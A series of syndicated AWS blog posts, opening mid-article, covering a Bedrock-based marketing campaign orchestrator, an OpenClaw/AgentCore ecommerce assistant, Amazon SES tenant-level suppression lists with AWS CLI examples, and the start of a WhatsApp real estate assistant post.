When a marketer submits an instruction, the launcher Lambda function starts a Step Functions execution. The state machine then runs the stages in order. Each stage reads the output of the previous one, applies its own logic, and passes its result forward. The state machine retries transient failures within a stage, so a Bedrock throttle or a DynamoDB timeout doesn’t restart the whole campaign. A choice state redirects the workflow straight to the recording stage when no customers pass the safety check, so empty campaigns skip the content adaptation step. This decoupled design gives operators three things:

  • If one stage fails, the workflow retries that stage without rerunning earlier work
  • You can add new stages — for example, a translation step — without changing the others
  • The system scales with campaign volume

AI conversation engine

Amazon Bedrock does two distinct things in the orchestrator, and they happen at different stages. The parse stage runs first. It takes the marketer’s plain-language instruction and asks the model to return a small JSON object. The JSON has fields such as location, package, age range, and a short semantic query when the instruction implies a lifestyle or affinity. That JSON is what every downstream stage works against, so the parse output sets the shape of the campaign.The parse stage sends the following prompt to Anthropic Claude on Bedrock through the InvokeModel API:

You parse marketing campaign instructions into structured fields.

Instruction:
{instruction}

Return JSON with these fields:
- "sku" (string or null): product SKU or package name
- "location" (string or null): city or region
- "category" (string or null): one of "Electronics", "Travel", "Apparel", "Home"
- "min_age" (integer or null), "max_age" (integer or null)
- "min_purchases" (integer or null)
- "lookback_days" (integer or null)
- "has_cart_items" (bool or null)
- "semantic_query" (string or null): free-text lifestyle/affinity descriptor

Output ONLY the JSON object, no prose.

For the instruction “Send the Andaman package to budget-conscious families in Mumbai”, the model returns:

{
  "sku": "Andaman package",
  "location": "Mumbai",
  "category": "Travel",
  "min_age": null, "max_age": null,
  "min_purchases": null,
  "lookback_days": null,
  "has_cart_items": null,
  "semantic_query": "budget-conscious families"
}

The adapt stage runs later, after segmentation and safety. It takes a single campaign brief and asks Bedrock to produce one variant per channel: a 160-character SMS, a longer WhatsApp template message, and an HTML email. The model never sees customer-level data at this point; the brief and the channel are the only inputs.The orchestrator stores one prompt per channel. The SMS prompt enforces a hard character limit; the WhatsApp prompt allows a longer message; the email prompt asks for structured HTML:

# SMS
Write a single SMS for the campaign brief below. Hard limit: 160 characters.
No emojis, no links unless the brief explicitly includes one. Plain text only.

# WhatsApp
Write a WhatsApp message for the campaign brief below. Up to 1024 characters.
Friendly tone, optional emoji where natural.

# Email
Write an HTML email body for the campaign brief below. Include a single <h1>,
two short paragraphs, and a call-to-action link placeholder {{CTA_URL}}.
No <html> or <body> wrappers.

Each prompt is formatted with the campaign brief and sent to Bedrock; the response becomes that channel’s variant for every approved customer in the segment.

The safety stage runs after the parse stage and before the adapt stage, and it is rule-based rather than model-based. It reads each customer’s stored sentiment score and rolling send count from DynamoDB, and drops customers below the sentiment threshold (default -0.3) or above the fatigue limit. The fatigue limit is a per-customer count of sends over a rolling window, for example five sends in the previous seven days. You set the fatigue window and the sentiment threshold as Step Functions input parameters. You populate the sentiment score upstream. For example, you can run a daily Amazon Comprehend Custom Classification job that scores recent support transcripts and writes the result back to the customer record.

The fatigue check reads the customer’s recent send timestamps from the rate-limits table and counts the entries inside the rolling window:

NEGATIVE_THRESHOLD     = Decimal("-0.3")     # configurable
MAX_MESSAGES_PER_WINDOW = 5
WINDOW_SECONDS         = 7 * 24 * 60 * 60     # 7 days

def _is_fatigued(customer_id):
    item = _rate_limits.get_item(Key={"limiter_key": f"customer:{customer_id}"}).get("Item")
    if not item:
        return False
    cutoff = int(time.time()) - WINDOW_SECONDS
    recent = [t for t in item.get("recent_sends", []) if int(t) >= cutoff]
    return len(recent) >= MAX_MESSAGES_PER_WINDOW

Each successful send writes its timestamp into the customer’s recent_sends list, so the next campaign sees an up-to-date fatigue count without a separate ETL step.

Orchestration

Each stage in the campaign workflow is a small AWS Lambda function. The state machine invokes them in sequence: parse the instruction, segment customers, predict channels, check safety, adapt content, deliver messages, and record results. The predict stage reads each customer’s per-channel engagement history from DynamoDB and picks the channel with the highest historical engagement rate. When you wire an Amazon SageMaker AI endpoint into the stack, the stage calls that endpoint instead and uses its score as the channel ranking signal.The state machine, not the functions, owns the control flow. New stages (for example, a translation step before adapt content) can be inserted without changing the existing handlers. The Step Functions definition lives in statemachine/campaign_orchestrator.asl.json. Refer to it in the GitHub repository for the exact state graph and retry policy.

Semantic search

Consider a marketer who types “Send the Andaman package to budget-conscious families interested in beach vacations.” A keyword filter against the customer table won’t match a profile tagged “economy package, kid-friendly, coastal”, because the words don’t overlap even though the meaning does. To bridge that gap, the seed script embeds each customer profile with Amazon Titan Text Embeddings v2 and writes the vector into an OpenSearch Serverless Vector search collection. The segment stage then embeds the marketer’s phrasing at query time and runs a k-nearest-neighbor search against the collection.

The orchestrator intersects those matches with the structured DynamoDB filter. The final segment respects both the hard constraints (location, age, recency) and the soft ones (lifestyle, affinity). OpenSearch Serverless scales the collection’s compute units to zero when idle, so this capability adds near-zero cost when no campaigns run.

Deployment

To deploy the sample in your AWS account, clone the GitHub repository and run the SAM-based deploy script:

git clone https://github.com/aws-samples/sample-ai-campaign-orchestrator.git
cd sample-ai-campaign-orchestrator
./scripts/deploy.sh --guided

The script prompts you for an AWS Region, a stack name, and the orchestrator parameters (your WhatsApp phone number ID and optional SES sender). It then runs sam build followed by sam deploy, and prints the API endpoint and stack outputs when the deployment finishes.

Test the solution

After the stack finishes deploying, seed the customer profiles table with one sample customer and run a campaign against it:

python scripts/seed_demo_data.py --whatsapp-recipient +1234567890

Then submit a campaign instruction to the API endpoint that the deploy script printed:

curl -X POST $ENDPOINT -H 'content-type: application/json' \
  -d '{"instruction": "Send the Andaman package to Mumbai customers"}'

From here you can:

  1. Watch the campaign execution in the AWS Step Functions console.
  2. Query the delivery tracking table in Amazon DynamoDB to see which customers the safety stage approved or suppressed, and which channel the orchestrator picked for each.
  3. Check the recipient’s phone for the WhatsApp template message that the deliver stage sent.

Sample conversation

The recording in this section shows a marketer using the campaign launcher to send an Andaman travel promotion to a Mumbai segment. It opens with the marketer typing the natural-language instruction and the parse stage extracting structured filters. The segment stage then matches customers in DynamoDB. The safety stage suppresses a customer with a low sentiment score. The predict stage assigns a channel per remaining customer. The recording ends with the adapt stage producing one message variant per channel and the deliver stage dispatching them through AWS End User Messaging.

Clean up

To avoid incurring future charges, delete the resources you created. The sample includes a cleanup script in the GitHub repository. Run ./scripts/cleanup.sh to empty the deployment bucket and delete the stack. The stack deletion removes the AWS Step Functions state machine, AWS Lambda functions, Amazon DynamoDB tables, and (when configured) the Amazon OpenSearch Serverless collection.

Conclusion

You can combine AWS End User Messaging, Amazon Bedrock, and AWS Step Functions to build a campaign orchestrator. The orchestrator routes each message to the channel a customer is most likely to open. It also holds back sends to fatigued or unhappy customers.

The same pattern fits other business-initiated messaging workflows where per-recipient channel and content decisions matter. Examples include transactional banking notifications, appointment reminders, and logistics status updates. To deploy the sample in your account, refer to the GitHub repository. To learn more about AWS End User Messaging, refer to the service documentation.

If you’re applying this pattern, start with the safety check and frequency tracking. Those two stages reduce the risk of damaging customer relationships and produce the engagement data that channel prediction depends on. Once that data is in place, add the prediction and content adaptation stages. Use this implementation as a reference for production messaging on AWS.


About the authors

Build an autonomous ecommerce assistant with AWS End User Messaging, Amazon Bedrock AgentCore, and OpenClaw

Post Syndicated from Rommel Sunga original https://aws.amazon.com/blogs/messaging-and-targeting/build-an-autonomous-ecommerce-assistant-with-aws-end-user-messaging-amazon-bedrock-agentcore-and-openclaw/

In this post, we walk through Claw Boutique, an open-source reference architecture that connects a web storefront, WhatsApp, email, and Telegram into a single OpenClaw-driven ecommerce experience on AWS. Buyers interact through WhatsApp and a web store. The shop owner manages everything from Telegram, where an artificial intelligence (AI) agent processes restock, refund, and order commands.

The project uses Amazon Bedrock AgentCore Runtime with the Strands Agents SDK, an open-source framework for building AI agents, for real-time buyer chat. Amazon Elastic Kubernetes Service (Amazon EKS) hosts the seller-side AI agent (OpenClaw, an open-source AI agent gateway). AWS End User Messaging Social provides managed WhatsApp Business integration. The entire stack deploys with a single AWS Cloud Development Kit (AWS CDK) command.

Architecture overview

The architecture separates concerns into three channels that share a common Store API and database.

Claw Boutique architecture on AWS showing the buyer, seller, and web storefront channels

Figure 1 – Claw Boutique architecture on AWS

Buyer channel (WhatsApp): Inbound WhatsApp messages arrive through AWS End User Messaging Social, which provides a managed WhatsApp Business API integration. Messages publish to an Amazon Simple Notification Service (Amazon SNS) topic, which triggers a Dispatcher AWS Lambda function. The dispatcher invokes a Strands Agent hosted on Amazon Bedrock AgentCore Runtime, running Amazon Nova Lite for real-time, tool-calling conversations. AgentCore Memory provides session continuity across messages. The agent can look up products, check order status, escalate issues, and send replies back through WhatsApp.

Seller channel (Telegram): The store owner receives stock alerts, review escalations, and order notifications on Telegram. An AI agent runs on Amazon EKS via the OpenClaw gateway. The owner replies with natural language commands such as “restock hoodies” or “apologize to the buyer,” and the agent runs the appropriate Store API calls.

Web storefront: Amazon CloudFront serves a static site from Amazon Simple Storage Service (Amazon S3). The checkout flow calls the Store API through Amazon API Gateway. The same API backs both the storefront and the admin dashboard.

All three channels converge on a single Store API Lambda function (Python/Flask) backed by Amazon Relational Database Service (Amazon RDS) for MySQL. Amazon Simple Email Service (Amazon SES) sends transactional email messages for order confirmations, shipping updates, and refund notices.

How it works: The order lifecycle

A single order touches the web storefront, WhatsApp, email, Telegram, and the admin dashboard. Here is the full flow.

1. Place an order

You visit the storefront, add items to the cart, and check out. The Store API creates the order in Amazon RDS and returns an order number.

The Claw Boutique web storefront with product listings

Figure 2 – The Claw Boutique storefront

2. Order confirmation on WhatsApp and email

Two things happen right after checkout. The buyer receives a WhatsApp message with the order number, items, and total, followed by a feedback survey asking them to rate their experience from 1 to 5. At the same time, Amazon SES sends a confirmation email with the same order details.

WhatsApp order confirmation message followed by a feedback survey rating prompt

Figure 3 – WhatsApp order confirmation and feedback survey

Order confirmation email sent through Amazon SES

Figure 4 – Order confirmation email via Amazon SES

3. Stock alert on Telegram

Every purchase triggers a stock check. If any item is out of stock, running low (fewer than 5 units), or projected to sell out within 7 days, the seller gets a Telegram alert with current stock levels and sell-through rates. The seller can reply with a command such as “restock hoodies 20” and the AI agent runs it.

Telegram stock alert showing stock levels with a restock command reply

Figure 5 – Telegram stock alert with restock command

4. Negative feedback triggers an escalation

The buyer replies “1” to the WhatsApp survey. The Store API creates an escalation record and sends the seller a Telegram alert with the buyer’s name, phone number, rating, and review text.

Telegram review escalation alert with buyer details and rating

Figure 6 – Telegram review escalation alert

5. Seller resolves the issue from Telegram

The seller replies “apologize” on Telegram. The AI agent looks up the unresolved escalation and takes four actions: sends a WhatsApp apology to the buyer, sends a refund confirmation email via Amazon SES, marks the order as “refunded” in the database, and resolves the escalation. If there are multiple open escalations, the agent lists them and asks which one to resolve.

6. Admin dashboard

The seller can also open the admin dashboard to view orders (now showing “refunded” status), escalation history, stock levels, and AI-generated business insights based on order patterns and buyer feedback.

Admin dashboard showing orders, escalation history, stock levels, and business insights

Figure 7 – Admin dashboard with orders and insights

Ordering directly through WhatsApp

Buyers can also browse and order by texting the WhatsApp business number directly. The Strands Agent on AgentCore manages the full conversation: showing available products, checking order status, answering product questions, and escalating issues to the store owner.

Ordering through WhatsApp using Amazon Bedrock AgentCore

Figure 8 – Ordering through WhatsApp via Amazon Bedrock AgentCore

Why two AI models?

Claw Boutique uses two AI models for different purposes, each chosen for the characteristics that matter most in its channel.

Amazon Nova Lite (via Amazon Bedrock AgentCore) for the buyer channel: Buyer-facing WhatsApp interactions need to be fast and cost-effective. Amazon Nova Lite provides sub-second responses with reliable tool calling at a fraction of the cost of larger models. AgentCore Runtime hosts the agent container, while AgentCore Memory manages conversation history per buyer phone number. The Strands Agents SDK handles tool definitions, orchestration, and model interaction with minimal boilerplate.

AI agent (via OpenClaw on Amazon EKS) for the seller channel: The seller channel involves more complex tasks: interpreting ambiguous commands, managing multi-step workflows (such as resolving escalations that span WhatsApp, email, and the database), and generating business insights. The model’s reasoning capabilities are well suited for these. OpenClaw provides the gateway, tool execution, and memory management layer.

This approach keeps buyer-facing latency low and costs predictable, while giving the seller access to deeper reasoning when managing the business.

Prerequisites

Before you deploy, make sure you have the following:

  • AWS Command Line Interface (AWS CLI) configured with credentials.
  • Node.js 18+ and Docker running locally.
  • A Telegram bot token (obtainable from @BotFather).
  • A WhatsApp Business Account linked to AWS End User Messaging Social.
  • A verified Amazon SES email address.

Deploying the solution

The entire stack deploys with AWS CDK. A single cdk deploy command provisions the Amazon Virtual Private Cloud (Amazon VPC), Amazon EKS cluster, Amazon RDS database, Lambda functions, Amazon API Gateway, Amazon CloudFront distribution, Amazon S3 bucket, Amazon SNS topic, and all AWS Identity and Access Management (IAM) roles and security groups. AWS CDK also runs database initialization (schema and seed data), Docker image build, Amazon Elastic Container Registry (Amazon ECR) push, and Amazon EKS deployment.

Configuration values (Telegram token, WhatsApp IDs, Amazon SES email) go into a CDK context file. Cold deploy takes about 25-30 minutes.

You can find the full source code and deployment instructions in the GitHub repository.

Cleaning up

To avoid ongoing charges, delete the resources created in this walkthrough when you’re done experimenting. Run the following command from the cdk/ directory:

cd cdk && npx cdk destroy

This removes the Amazon EKS cluster, Amazon RDS database, Lambda functions, and all other resources created by the stack. No context values are needed for destroy.

Conclusion

In this post, we showed how to build an ecommerce bot using OpenClaw and Amazon Bedrock AgentCore. By combining AWS End User Messaging Social for WhatsApp, Amazon Bedrock AgentCore Runtime for real-time buyer conversations, and Amazon EKS for a seller-side AI agent, you can create a system where buyers order through the channels they already use, and store owners manage their business from a single Telegram chat.

The project is open source and deploys with a single AWS CDK command. You can use it as a starting point and adapt it to your own product catalog, messaging channels, and business logic.

To learn more and get started:


About the authors

Isolate email suppression per tenant with Amazon SES

Post Syndicated from Brett Ezell original https://aws.amazon.com/blogs/messaging-and-targeting/isolate-email-suppression-per-tenant-with-amazon-ses/

If you operate a multi-tenant email platform on Amazon Simple Email Service (Amazon SES), you know that managing email reputation across your tenants is a constant balancing act. Until now, all tenants in an Amazon SES account shared a single account-level suppression list. Suppose an email from Tenant 1 to Recipient A results in a hard bounce or a spam complaint. Amazon SES then places Recipient A’s email address on the account-level suppression list. As a result, none of your other tenants can send email to Recipient A. The block applies even when they have a valid, opted-in relationship with that recipient.

Tenant-level suppression lists solve this by allowing you to isolate bounce and complaint data per tenant, which eliminates cross-tenant contamination. With tenant-level suppression enabled, Amazon SES maintains a separate suppression list per tenant. Bounces and complaints affect only the sending tenant’s list. Other tenants can still attempt delivery to the same recipients.

In this post, you learn about the business problem this feature solves, how the new suppression precedence works, and how to implement tenant-level suppression for your multi-tenant email platform.

Quick reference

Item Detail
Feature Tenant-level suppression lists
Primary API operation PutTenantSuppressionAttributes
Scope options TENANT (isolated), ACCOUNT (shared, default)
Suppressed reasons BOUNCE, COMPLAINT, or both
Prerequisites Multi-tenancy enabled, production access
Key behavior Amazon SES evaluates exactly one suppression list per SendEmail call
Precedence order Configuration Set → Tenant → Account
Automatic recording Bounces → tenant list + global list. Complaints → tenant list only
Backward compatible Yes — opt-in per tenant, existing behavior unchanged

The cross-tenant suppression contamination problem in Amazon SES

Consider the following scenario. Imagine you run a SaaS marketing automation platform called “AnyCompany-SaaS.” You use Amazon SES multi-tenancy to send email on behalf of your customers (your tenants). For this example, consider Tenant A (a fast-growing fitness brand) and Tenant B (a conservative financial services company).

One day, Tenant A runs an aggressive, poorly targeted email campaign. Recipient A reports the email as spam, and that email address ([email protected]) gets added to your Amazon SES account-level suppression list to protect your sender reputation.

The problem? Tenant B has a perfectly valid, opted-in relationship with [email protected] and needs to send her a critical financial receipt. Before tenant-level suppression became available, AnyCompany-SaaS relied on the Amazon SES shared account-level suppression list. In this scenario, when Tenant B attempts to send email to [email protected], Amazon SES accepts the message but does not send it. The address is suppressed for every tenant in the account. Tenant B loses access to a valid recipient simply because of their neighbor’s poor email hygiene.

This is cross-tenant suppression contamination, and it creates several downstream problems:

  • Unfair deliverability outcomes — One tenant’s poor list hygiene affects all other tenants.
  • Increased support burden — Tenants ask “why is my email being suppressed?” and you have no clear answer.
  • Eroded trust — Your customers (the tenants) lose confidence in your platform’s email delivery capabilities.
  • Scaling challenges — The more tenants you add, the worse the contamination problem becomes.

Before today, the only workarounds were managing separate Amazon SES accounts per tenant (operationally expensive), or building custom suppression logic in your application layer (complex and error-prone). With Amazon SES tenant-level suppression lists, this shared-fate scenario is a thing of the past.

What is new: Tenant-level suppression lists

Each tenant in your account can now maintain its own isolated suppression list. When a hard bounce or complaint occurs for a tenant, Amazon SES records the suppressed address only on that tenant’s list. It does not add the address to other tenants’ lists.

Here is what this means in practice:

  • Isolation — Tenant A’s bounces and complaints affect only Tenant A’s suppression list.
  • Autonomy — Each tenant owns its own deliverability without impact from neighboring tenants.
  • Automatic management — Amazon SES automatically records entries based on hard bounces and complaints, and removes entries when recipients submit not-spam feedback.
  • Backward compatibility — Existing account-level suppression continues to work unchanged. Tenant-level suppression is opt-in per tenant.

Who benefits from tenant-level suppression?

This feature is designed for any organization that uses Amazon SES multi-tenancy to send email on behalf of multiple entities. Common use cases include:

  • SaaS platforms — Send transactional or marketing email for multiple customers, each with isolated suppression.
  • Marketing automation providers — Manage campaigns for different clients without cross-client contamination.
  • Enterprise multi-brand organizations — A corporation with multiple brands (for example, separate product lines or regional divisions) that need suppression isolation between brands.
  • Digital agencies — Manage email programs for dozens of clients under one Amazon SES account.
  • ISVs and resellers — Independent software vendors offering email capabilities as part of their platform.

When to use tenant-level vs. account-level suppression

Scenario Recommended scope Why
Single-tenant account (one brand, one sender) ACCOUNT No isolation needed — account-level works fine
Multi-tenant SaaS sending on behalf of customers TENANT Prevents cross-tenant contamination
Enterprise with multiple business units TENANT Each BU owns its deliverability independently
Per-workflow control within a single tenant Configuration set override Granular suppression at sub-tenant level
Migrating from separate Amazon SES accounts per tenant TENANT Consolidate into one account with isolation preserved

How Amazon SES tenant-level suppression precedence works

When you start mixing account-level lists, configuration sets, and tenant-level lists, it is important to understand how Amazon SES determines which list to check before sending an email. Amazon SES evaluates suppression rules in the following hierarchy (resolving to exactly one list).

Amazon SES suppression precedence resolving to one list: configuration set, then tenant, then account

Configuring suppression scope and suppressed reasons

Tenant-level suppression is controlled by two settings that you configure together:

  1. Suppression scope — Determines which suppression list Amazon SES checks at send time:
    • TENANT — Use the tenant’s own suppression list.
    • ACCOUNT — Use the account-level suppression list (this is the default).
  2. Suppressed reasons — Determines which events cause Amazon SES to automatically add addresses to the suppression list:
    • BOUNCE — Add addresses that produce hard bounces.
    • COMPLAINT — Add addresses that produce complaints.
    • Both BOUNCE and COMPLAINT — Add addresses for either event.

You configure both settings together using the PutTenantSuppressionAttributes API operation or by specifying SuppressionAttributes when creating a new tenant with CreateTenant.

Suppression precedence order

Behavior: Amazon SES evaluates exactly one suppression list per SendEmail call. The precedence is: Configuration Set > Tenant > Account. It does not check multiple lists in sequence.

Amazon SES resolves suppression settings using the following precedence order:

  1. Configuration set overrides (highest priority) — If the email is sent using a configuration set with a defined SuppressionOptions scope, Amazon SES uses that setting first.
  2. Tenant-level settings — If no configuration set override exists, and the email includes a TenantName, Amazon SES checks the isolated suppression list for that specific tenant.
  3. Account-level defaults (lowest priority) — If neither the configuration set nor the tenant specifies suppression settings, Amazon SES uses account-level defaults.

Important: An address that is on the account-level suppression list but not on the tenant’s list will not be suppressed when the scope is TENANT. Conversely, an address on the tenant’s list will not affect sends when the scope resolves to ACCOUNT.

Automatic suppression recording behavior

When the suppression scope is TENANT, Amazon SES automatically manages entries:

  • Hard bounces — Amazon SES adds the address to the tenant’s suppression list and the global suppression list. Amazon SES does not add the address to the account-level suppression list.
  • Complaints — Amazon SES adds the address to the tenant’s suppression list only.
  • Not-spam feedback — When a recipient marks a previously reported message as not spam, Amazon SES automatically removes COMPLAINT-reason entries from the tenant’s suppression list.

Prerequisites

Before implementing tenant-level suppression, make sure you have the following:

Required resources:

  1. An AWS account with Amazon SES configured.
  2. Multi-tenancy enabled with at least one tenant in your Amazon SES account.
  3. AWS Command Line Interface (AWS CLI) version 2 installed and configured with appropriate permissions.
  4. Production access (required for PutSuppressedDestination operations — sandbox accounts cannot manually add suppression entries).

Knowledge prerequisites: You should be familiar with Amazon SES account-level suppression concepts and multi-tenancy configuration.

Minimal example: Enable and send with tenant suppression

The following is the shortest path to enabling tenant-level suppression and sending an email that uses it:

# 1. Enable tenant suppression (bounces + complaints)
aws sesv2 put-tenant-suppression-attributes \
    --tenant-name MyTenant \
    --suppression-scope TENANT \
    --suppressed-reasons BOUNCE COMPLAINT

# 2. Send email with tenant context — SES checks MyTenant's suppression list
aws sesv2 send-email \
    --from-email-address [email protected] \
    --destination '{"ToAddresses":["[email protected]"]}' \
    --content '{"Simple":{"Subject":{"Data":"Hello"},"Body":{"Text":{"Data":"Test message"}}}}' \
    --tenant-name MyTenant

# 3. Verify — list entries on the tenant's suppression list
aws sesv2 list-suppressed-destinations \
    --tenant-name MyTenant

Implementation walkthrough

Implementing tenant-level suppression requires configuring your tenants and updating your sending API calls. Here is how to get started using the AWS CLI.

Step 1: Enable tenant-level suppression for an existing tenant

First, you need to configure the suppression attributes for a specific tenant. In this example, you enable suppression for both bounces and complaints for MyTenant:

aws sesv2 put-tenant-suppression-attributes \
    --tenant-name MyTenant \
    --suppression-scope TENANT \
    --suppressed-reasons BOUNCE COMPLAINT

A successful request returns an HTTP 200 response with no body. Verify the configuration:

aws sesv2 get-tenant --tenant-name MyTenant

The response includes the suppression configuration:

{
    "Tenant": {
        "TenantName": "MyTenant",
        "TenantId": "tn-abc123def456",
        "SendingStatus": "ENABLED",
        "SuppressionAttributes": {
            "SuppressionScope": "TENANT",
            "SuppressedReasons": ["BOUNCE", "COMPLAINT"]
        }
    }
}

You can also configure suppression for a single reason type:

# Suppress bounces only
aws sesv2 put-tenant-suppression-attributes \
    --tenant-name MyTenant \
    --suppression-scope TENANT \
    --suppressed-reasons BOUNCE

# Suppress complaints only
aws sesv2 put-tenant-suppression-attributes \
    --tenant-name MyTenant \
    --suppression-scope TENANT \
    --suppressed-reasons COMPLAINT

Step 2: Create a new tenant with suppression enabled

If you are creating a new tenant, you can enable suppression from the start using the CreateTenant API operation:

aws sesv2 create-tenant \
    --tenant-name MyNewTenant \
    --suppression-attributes '{"SuppressionScope":"TENANT","SuppressedReasons":["BOUNCE","COMPLAINT"]}'

The response contains the new tenant’s ID:

{
    "TenantId": "tn-xyz789ghi012"
}

Step 3: Verify suppression is working

After configuring a tenant, verify that suppression entries are being recorded correctly. You can list entries on a tenant’s suppression list:

aws sesv2 list-suppressed-destinations \
    --tenant-name MyTenant

To check if a specific address is on a tenant’s suppression list:

aws sesv2 get-suppressed-destination \
    --email-address [email protected] \
    --tenant-name MyTenant

Step 4: Send email with tenant context

When sending email, include the TenantName parameter so that Amazon SES evaluates the correct suppression list:

aws sesv2 send-email \
    --from-email-address [email protected] \
    --destination '{"ToAddresses":["[email protected]"]}' \
    --content '{"Simple":{"Subject":{"Data":"Hello"},"Body":{"Text":{"Data":"Test message"}}}}' \
    --tenant-name MyTenant

Step 5: Manually manage suppression entries

You can manually add or remove entries from a tenant’s suppression list. This is useful for pre-loading known bad addresses or removing addresses that have been re-validated.

To add an entry:

aws sesv2 put-suppressed-destination \
    --email-address [email protected] \
    --reason BOUNCE \
    --tenant-name MyTenant

To remove an entry:

aws sesv2 delete-suppressed-destination \
    --email-address [email protected] \
    --tenant-name MyTenant

Advanced: Configuration set overrides for per-workflow suppression control

For scenarios where you need per-workflow suppression control within a tenant, you can override tenant suppression settings at the configuration set level:

aws sesv2 create-configuration-set \
    --configuration-set-name my-config-set \
    --suppression-options '{"SuppressionScope":"TENANT","SuppressedReasons":["BOUNCE"]}'

You can also update an existing configuration set:

aws sesv2 put-configuration-set-suppression-options \
    --configuration-set-name my-config-set \
    --suppression-scope TENANT \
    --suppressed-reasons BOUNCE

Key considerations

Keep the following points in mind as you implement tenant-level suppression:

  • Sandbox restrictions — You cannot call PutSuppressedDestination while your account is in the Amazon SES sandbox. Request production access first. Note that this restriction only applies to manually adding entries. Automatic suppression from bounces and complaints works in sandbox mode.
  • Entries persist — Disabling tenant-level suppression does not delete existing entries from the tenant’s suppression list. If you re-enable tenant-level suppression later, those entries are still active.
  • Fail-close behavior — If the tenant suppression service is unavailable, Amazon SES suppresses the message rather than allowing it through.
  • The “no tenant” fallback — If you enable tenant-level suppression across your architecture but inadvertently miss updating a legacy microservice, any SendEmail call made without a TenantName parameter automatically falls back to evaluating your shared account-level suppression list.
  • Migration strategy — We recommend a phased migration. Start by configuring tenant-level suppression for new tenants or low-volume tenants first. Monitor their isolated lists using the ListSuppressedDestinations API before updating the SendEmail calls for your highest-volume legacy tenants.

Check the Amazon SES Developer Guide for the latest supported actions and service quotas.

Disabling tenant-level suppression

If you need to return a tenant to account-level suppression, you have two options:

Option 1: Explicitly set the scope to ACCOUNT:

aws sesv2 put-tenant-suppression-attributes \
    --tenant-name MyTenant \
    --suppression-scope ACCOUNT \
    --suppressed-reasons BOUNCE COMPLAINT

Option 2: Clear all suppression settings:

aws sesv2 put-tenant-suppression-attributes \
    --tenant-name MyTenant

When you omit both --suppression-scope and --suppressed-reasons, Amazon SES clears the tenant’s suppression settings, and the tenant falls back to account-level suppression behavior.

Cleaning up

If you followed along with this walkthrough and want to remove the resources you created, take the following steps:

Important: Disabling tenant-level suppression does not delete existing suppression entries. If you plan to re-enable this feature later, be aware that previously suppressed addresses remain on the tenant’s list.

  1. Clear tenant suppression settings (returns the tenant to account-level behavior):
aws sesv2 put-tenant-suppression-attributes \
    --tenant-name MyTenant
  1. If you created a test tenant, delete it:
aws sesv2 delete-tenant --tenant-name MyNewTenant
  1. If you created a configuration set for testing, delete it:
aws sesv2 delete-configuration-set \
    --configuration-set-name my-config-set

FAQ

Q: Does tenant-level suppression replace account-level suppression?

A: No. Account-level suppression continues to work unchanged. Tenant-level suppression is opt-in. You enable it per tenant by setting the suppression scope to TENANT. Tenants without this configuration continue using the account-level suppression list.

Q: What happens if I send an email without a TenantName parameter after enabling tenant-level suppression?

A: The email falls back to account-level suppression evaluation. Amazon SES only checks a tenant’s isolated suppression list when the SendEmail call includes the TenantName parameter and that tenant has SuppressionScope set to TENANT.

Q: Are existing suppression entries deleted when I disable tenant-level suppression for a tenant?

A: No. Entries persist on the tenant’s suppression list. If you re-enable tenant-level suppression later, those entries become active again. To remove entries, you must explicitly call DeleteSuppressedDestination for each address.

Q: Can a single email address appear on both the account-level and a tenant-level suppression list?

A: Yes. The same address can exist on multiple lists. However, Amazon SES only checks the list that the resolved scope points to. If the scope is TENANT, only the tenant’s list is evaluated. The account-level list is not consulted.

Q: Does tenant-level suppression work in the Amazon SES sandbox?

A: Automatic suppression recording (from bounces and complaints) works in sandbox mode. However, you cannot manually add entries using PutSuppressedDestination until you request production access.

Q: How do I migrate from separate Amazon SES accounts per tenant to a single account with tenant-level suppression?

A: We recommend a phased approach: (1) Create tenants in your consolidated account, (2) Enable tenant-level suppression for each, (3) Export suppression entries from the old accounts using ListSuppressedDestinations, (4) Import them into the new tenant lists using PutSuppressedDestination, (5) Update your sending logic to include TenantName in all SendEmail calls.

Q: What is the maximum number of entries on a tenant’s suppression list?

A: Tenant-level suppression lists follow the same limits as account-level suppression lists. Check the Amazon SES quotas page for current limits.

Conclusion

Tenant-level suppression lists give ISVs, SaaS platforms, and large enterprises the granular control they need to manage email deliverability fairly and effectively. No more shared suppression lists causing cross-tenant contamination, and no more tenants losing access to valid recipients because of a neighbor’s email hygiene problems. Each tenant now owns their reputation data independently.

To get started:

  1. Using tenant-level suppression lists in Amazon SES.
  2. PutTenantSuppressionAttributes API reference.
  3. Using the Amazon SES account-level suppression list.

You can also configure and manage tenant-level suppression directly from the Amazon SES console.

If you have questions or feedback, reach out to us on AWS re:Post or through your AWS account team. We look forward to hearing how you are using tenant-level suppression to improve your multi-tenant email platform.


About the author

Build an AI-powered real estate assistant on WhatsApp using Strands Agents SDK and AWS End User Messaging

Post Syndicated from Ruchikka Chaudhary original https://aws.amazon.com/blogs/messaging-and-targeting/build-an-ai-powered-real-estate-assistant-on-whatsapp-using-strands-agents-sdk-and-aws-end-user-messaging/

Most real estate websites collect form submissions and route them to sales teams who respond hours or days later. Customers who expect immediate answers often move on. This post shows how to close that gap with a WhatsApp assistant that responds instantly. We show you how to build a real estate assistant powered by AI that delivers property discovery, home loan pre-approval, and site visit booking entirely within WhatsApp. The solution uses the Strands Agents SDK to orchestrate specialized AI agents on Amazon Bedrock, with AWS End User Messaging Social for WhatsApp integration. The serverless backend runs on AWS Lambda and Amazon DynamoDB.

Prerequisites

You need an AWS account with permissions for AWS CloudFormation, Lambda, Amazon Simple Notification Service (Amazon SNS), Amazon Bedrock, and DynamoDB. You also need a WhatsApp Business account integrated with AWS End User Messaging. For instructions to locate your WhatsApp phone number ID, see View a phone number’s ID in AWS End User Messaging Social.

For more information about how to set up WhatsApp using AWS End User Messaging Social, refer to Automate workflows with WhatsApp using AWS End User Messaging Social.

AWS Serverless Application Model (AWS SAM) CLI is required to deploy the demo solution. For installation instructions, see the AWS SAM CLI installation guide.

Overview of solution

The architecture uses four AI agents built with the Strands Agents SDK. Each agent handles a specific task: identity verification, credit scoring, fraud detection, or property valuation. The agents use Strands SDK decorators to access external data sources. The agents run on Amazon Bedrock with the Nova Lite model and are deployed to AWS Lambda using the official Strands Agents Lambda Layer. AWS End User Messaging Social handles WhatsApp Business API integration, publishing incoming messages to Amazon SNS for routing. The webhook handler Lambda function processes these events and invokes the supervisor agent. The supervisor agent orchestrates the conversation flow, maintains session state in Amazon DynamoDB, and sends rich interactive messages back to customers on WhatsApp.

For this post, we use a demo landing page to simulate the “Enquire Now” button on a real estate website. In a production scenario, you can add this integration point to any existing website. The only requirement is a WhatsApp click-to-chat link that pre-fills the initial message with the property details.

The following diagram illustrates the solution architecture:

